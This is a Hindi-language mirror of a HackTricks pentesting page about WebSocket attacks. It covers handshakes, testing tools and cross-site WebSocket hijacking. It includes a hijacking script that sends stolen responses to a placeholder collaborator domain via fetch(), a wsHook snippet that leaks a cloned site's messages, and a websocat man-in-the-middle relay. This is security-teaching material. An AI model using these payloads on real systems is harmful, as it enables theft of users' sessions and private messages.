mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
181 lines
23 KiB
Markdown
181 lines
23 KiB
Markdown
# WebSocket हमले
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने का उपयोग चाहिए? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
|
|
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**.
|
|
|
|
</details>
|
|
|
|
## WebSockets क्या होते हैं
|
|
|
|
WebSocket कनेक्शन **HTTP** के माध्यम से प्रारंभ किए जाते हैं और आमतौर पर **लंबे समय तक चलते** हैं। संदेश किसी भी समय **दोनों दिशाओं में भेजे जा सकते हैं** और प्रक्रियात्मक नहीं होते हैं। कनेक्शन सामान्यतः खुला और आराम से रहेगा जब तक कि या तो क्लाइंट या सर्वर संदेश भेजने के लिए तैयार न हों।\
|
|
WebSockets विशेष रूप से उन स्थितियों में उपयोगी होते हैं जहां **कम लैटेंसी या सर्वर-प्रेरित संदेश** की आवश्यकता होती है, जैसे वाणिज्यिक डेटा की वास्तविक समय पर फ़ीड।
|
|
|
|
### WebSocket कनेक्शन कैसे स्थापित होते हैं?
|
|
|
|
(यहां आपको एक सारांश मिलेगा लेकिन एक **वेब सॉकेट कनेक्शन कैसे स्थापित किया जाता है** के बारे में एक **और विस्तृत गाइड यहां** मिलेगा (https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)।\
|
|
WebSocket कनेक्शन आमतौर पर निम्नलिखित तरह के क्लाइंट-साइड जावास्क्रिप्ट का उपयोग करके बनाए जाते हैं:
|
|
```javascript
|
|
var ws = new WebSocket("wss://normal-website.com/ws");
|
|
```
|
|
**`wss`** प्रोटोकॉल एक एन्क्रिप्टेड **TLS** कनेक्शन पर एक WebSocket स्थापित करता है, जबकि **`ws`** प्रोटोकॉल एक **अनएन्क्रिप्टेड** कनेक्शन का उपयोग करता है।
|
|
|
|
कनेक्शन स्थापित करने के लिए, ब्राउज़र और सर्वर एक WebSocket हैंडशेक को HTTP के माध्यम से करते हैं। ब्राउज़र एक WebSocket हैंडशेक अनुरोध जारी करता है जैसा कि निम्नलिखित है:
|
|
```javascript
|
|
GET /chat HTTP/1.1
|
|
Host: normal-website.com
|
|
Sec-WebSocket-Version: 13
|
|
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
|
Connection: keep-alive, Upgrade
|
|
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
|
Upgrade: websocket
|
|
```
|
|
अगर सर्वर कनेक्शन स्वीकार करता है, तो वह निम्नलिखित तरह का वेबसॉकेट हैंडशेक प्रतिक्रिया लौटाता है:
|
|
```javascript
|
|
HTTP/1.1 101 Switching Protocols
|
|
Connection: Upgrade
|
|
Upgrade: websocket
|
|
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
|
```
|
|
इस बिंदु पर, नेटवर्क कनेक्शन खुली रहती है और इसे दोनों दिशाओं में WebSocket संदेश भेजने के लिए उपयोग किया जा सकता है।
|
|
|
|
**नोट**
|
|
|
|
WebSocket हैंडशेक संदेशों की कई **विशेषताएं** ध्यान देने योग्य हैं:
|
|
|
|
* अनुरोध और प्रतिक्रिया में **`Connection`** और **`Upgrade`** हेडर इसका संकेत देते हैं कि यह एक **WebSocket हैंडशेक** है।
|
|
* **`Sec-WebSocket-Version`** अनुरोध हेडर में वेबसॉकेट प्रोटोकॉल संस्करण निर्दिष्ट करता है जिसे क्लाइंट उपयोग करना चाहता है। यह आमतौर पर `13` होता है।
|
|
* **`Sec-WebSocket-Key`** अनुरोध हेडर में एक Base64-संकेतित **यादृच्छिक मान** होता है, जिसे हर हैंडशेक अनुरोध में यादृच्छिक रूप से उत्पन्न किया जाना चाहिए।
|
|
* **`Sec-WebSocket-Accept`** प्रतिक्रिया हेडर में `Sec-WebSocket-Key` अनुरोध हेडर में प्रस्तुत किए गए मान का एक हैश होता है, जिसे प्रोटोकॉल निर्दिष्टि में परिभाषित एक विशिष्ट स्ट्रिंग के साथ जोड़ा जाता है। इसका उद्देश्य गलत रूप से कॉन्फ़िगर किए गए सर्वर या कैशिंग प्रॉक्सी से होने वाले गलत प्रतिक्रियाओं को रोकना है।
|
|
|
|
**`Sec-WebSocket-Key`** हेडर में एक **यादृच्छिक मान** होता है जो कैशिंग प्रॉक्सी से त्रुटियों को रोकने के लिए होता है, और इसे प्रमाणीकरण या सत्र संचालन के उद्देश्यों के लिए उपयोग नहीं किया जाता है (_यह CSRF टोकन नहीं है_।)
|
|
|
|
### लिनक्स कंसोल
|
|
|
|
आप `websocat` का उपयोग करके वेबसॉकेट के साथ एक रॉ कनेक्शन स्थापित कर सकते हैं।
|
|
```bash
|
|
websocat --insecure wss://10.10.10.10:8000 -v
|
|
```
|
|
या एक websocat सर्वर बनाने के लिए:
|
|
```bash
|
|
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
|
```
|
|
### MitM वेबसॉकेट कनेक्शन
|
|
|
|
यदि आपको पता चलता है कि आपके मौजूदा स्थानीय नेटवर्क से क्लाइंट HTTP वेबसॉकेट से कनेक्ट हैं, तो आप [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) का प्रयास कर सकते हैं ताकि क्लाइंट और सर्वर के बीच MitM हमला कर सकें।\
|
|
क्लाइंट कनेक्ट करने की कोशिश कर रहा है तो आप निम्नलिखित का उपयोग कर सकते हैं:
|
|
```bash
|
|
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
|
```
|
|
### Websockets जांच
|
|
|
|
आप वेबसॉकेट में ज्ञात सुरक्षा दुरुपयोगों की खोज, फिंगरप्रिंट और खोज करने के लिए **टूल** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) का उपयोग कर सकते हैं।
|
|
|
|
### वेबसॉकेट डीबग टूल
|
|
|
|
* **Burp Suite** नियमित HTTP संचार के लिए वेबसॉकेट संचार का MitM समर्थन करता है।
|
|
* [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite एक्सटेंशन** आपको वेबसॉकेट संचार को बेहतर ढंग से प्रबंधित करने की अनुमति देगा, इतिहास प्राप्त करने, अवरोधन नियम सेट करने, मिलान और प्रतिस्थापन नियम का उपयोग करने, **Intruder** और **AutoRepeater** का उपयोग करने के लिए।
|
|
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**" के लिए छोटा नाम, यह टूल, Node.js में लिखा गया, उपयोगकर्ता इंटरफ़ेस प्रदान करता है ताकि उपयोगकर्ता और सर्वर के बीच सभी वेबसॉकेट और सॉकेट.आईओ संचार को देख सकें।
|
|
* [**wsrepl**](https://github.com/doyensec/wsrepl) एक **इंटरैक्टिव वेबसॉकेट REPL** है जो व्यापारिक परीक्षण के लिए विशेष रूप से डिज़ाइन किया गया है। यह आने वाले वेबसॉकेट संदेशों का अवलोकन करने और नए संदेश भेजने के लिए एक इंटरफ़ेस प्रदान करता है, जिसमें इस संचार को स्वचालित करने के लिए एक सुविधाजनक ढांचा होता है। 
|
|
* [**https://websocketking.com/**](https://websocketking.com/) यह एक **वेब है** जिसका उपयोग **वेबसॉकेट का उपयोग करके अन्य वेबसाइटों के साथ संवाद करने** के लिए किया जाता है।
|
|
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) इसके अलावा अन्य प्रकार के संचार/प्रोटोकॉलों के साथ, यह एक **वेब है** जिसका उपयोग **वेबसॉकेट का उपयोग करके अन्य वेबसाइटों के साथ संवाद करने** के लिए किया जाता है।
|
|
|
|
## वेबसॉकेट लैब
|
|
|
|
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) में आपको वेबसॉकेट का उपयोग करके एक वेब लॉन्च करने के लिए कोड मिलेगा और [**इस पोस्ट**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) में आपको विवरण मिलेगा।
|
|
|
|
## क्रॉस-साइट वेबसॉकेट हाइजैकिंग (CSWSH)
|
|
|
|
इसे _क्रॉस-साइट रिक्वेस्ट फ़ॉर्जरी (CSRF)_ के रूप में भी जाना जाता है।\
|
|
**यह वेबसॉकेट हैंडशेक पर** [**क्रॉस-साइट रिक्वेस्ट फ़ॉर्जरी (CSRF)**](csrf-cross-site-request-forgery.md) **हैंडशेक** है।
|
|
|
|
यह उत्पन्न होता है जब **वेबसॉकेट हैंडशेक** अनुरोध केवल **HTTP कुकीज़** का उपयोग सत्र संचालन के लिए करता है और किसी भी CSRF टोकन या अन्य अप्रत्याशित मान नहीं होता है।\
|
|
एक हमलावर अपने खुद के डोमेन पर एक **विकल्पी वेब पृष्ठ** बना सकता है जो विकल्पी एप्लिकेशन के साथ **क्रॉस-साइट वेबसॉकेट** कनेक्शन स्थापित करेगा। एप्लिकेशन विकल्पी उपयोगकर्ता के सत्र के संदर्भ में कनेक्शन को संभालेगा।
|
|
|
|
### सरल हमला
|
|
|
|
ध्यान दें कि **वेबसॉकेट** कनेक्शन स्थापित करते समय **कुकी** सर्वर को **भेजी जाती है**। **सर्वर** इसे उपयोग कर सकता है ताकि हर **विशेष** **उपयोगकर्ता को उसके वेबसॉकेट सत्र से संबंधित कर सकें**।
|
|
|
|
फिर, यदि **उदाहरण के लिए** वेबसॉकेट **सर्वर** एक उपयोगकर्ता के संवाद का इतिहास वापस भेजता है अगर "**READY"** नामक संदेश के साथ भेजा जाता है, तो एक **सरल XSS** कनेक्शन स्थापित करने पर (विक्टिम उपयोगकर्ता को अधिकृत करने के लिए **कुकी** स्वचालित रूप से भेजी जाएगी) "**READY**" भेजने से वह संवाद का इतिहास **प्राप्त** कर सकेगा।
|
|
```markup
|
|
<script>
|
|
websocket = new WebSocket('wss://your-websocket-URL')
|
|
websocket.onopen = start
|
|
websocket.onmessage = handleReply
|
|
function start(event) {
|
|
websocket.send("READY"); //Send the message to retreive confidential information
|
|
}
|
|
function handleReply(event) {
|
|
//Exfiltrate the confidential information to attackers server
|
|
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
|
}
|
|
</script>
|
|
```
|
|
### क्रॉस ओरिजिन + कुकी अलग सबडोमेन के साथ
|
|
|
|
इस ब्लॉग पोस्ट [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) में हमलावर्ती ने डोमेन के उप-डोमेन में **अनियमित जावास्क्रिप्ट को क्रियान्वित किया**। क्योंकि यह एक **उप-डोमेन** था, इसलिए **कुकी** भेजी जा रही थी, और क्योंकि **वेबसॉकेट ने मूल कोष की जांच सही ढंग से नहीं की**, इससे इसके साथ संवाद करना और इससे **टोकन चुरा सकना** संभव था।
|
|
|
|
### उपयोगकर्ता से डेटा चुराना
|
|
|
|
उस वेब एप्लिकेशन की प्रतिष्ठा करने के लिए (उदाहरण के लिए .html फ़ाइलें) कॉपी करें और स्क्रिप्ट के अंदर जहां वेबसॉकेट संवाद हो रहा है, इस कोड को जोड़ें:
|
|
```javascript
|
|
//This is the script tag to load the websocket hooker
|
|
<script src='wsHook.js'></script>
|
|
|
|
//These are the functions that are gonig to be executed before a message
|
|
//is sent by the client or received from the server
|
|
//These code must be between some <script> tags or inside a .js file
|
|
wsHook.before = function(data, url) {
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("GET", "client_msg?m="+data, true);
|
|
xhttp.send();
|
|
}
|
|
wsHook.after = function(messageEvent, url, wsObject) {
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
|
|
xhttp.send();
|
|
return messageEvent;
|
|
}
|
|
```
|
|
अब [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) से `wsHook.js` फ़ाइल डाउनलोड करें और इसे **वेब फ़ाइलों के साथ फ़ोल्डर में सहेजें**।\
|
|
वेब एप्लिकेशन को उजागर करके और उपयोगकर्ता को इससे कनेक्ट कराने के बाद, आप वेबसॉकेट के माध्यम से भेजे गए और प्राप्त किए गए संदेशों को चुरा सकेंगे:
|
|
```javascript
|
|
sudo python3 -m http.server 80
|
|
```
|
|
## रेस कंडीशन्स
|
|
|
|
वेबसॉकेट में रेस कंडीशन्स भी होते हैं, [इस जानकारी को जानने के लिए यहां देखें](race-condition.md#rc-in-websockets)।
|
|
|
|
## अन्य सुरक्षा दुर्बलताएं
|
|
|
|
वेबसॉकेट्स एक ऐसी तंत्र हैं जिसके माध्यम से डेटा को सर्वर साइड और क्लाइंट साइड पर भेजा जा सकता है, सर्वर और क्लाइंट जिस प्रकार से जानकारी का निपटारा करते हैं, वेबसॉकेट्स का उपयोग करके XSS, SQLi या किसी अन्य सामान्य वेब दुर्बलता का शोध किया जा सकता है जब उपयोगकर्ता के इनपुट को वेबसॉकेट से प्राप्त किया जाता है।
|
|
|
|
## **वेबसॉकेट स्मगलिंग**
|
|
|
|
यह दुर्बलता आपको प्रतिरोधी प्रॉक्सी की सीमाओं को अनदेखा करने की अनुमति देती है और उन्हें यह विश्वास कराने की बात करती है कि एक वेबसॉकेट संचार स्थापित हो गया है (यद्यपि यह सच नहीं है)। इससे हमलावर को छिपे हुए अंत-बिंदुओं तक पहुंचने की अनुमति मिल सकती है। अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:
|
|
|
|
{% content-ref url="h2c-smuggling.md" %}
|
|
[h2c-smuggling.md](h2c-smuggling.md)
|
|
{% endcontent-ref %}
|
|
|
|
## संदर्भ
|
|
|
|
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने की इच्छा रखते हैं? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
|
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह।
|
|
* प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
|
|
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो में पीआर जमा करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को फॉलो करें।**
|
|
|
|
</details>
|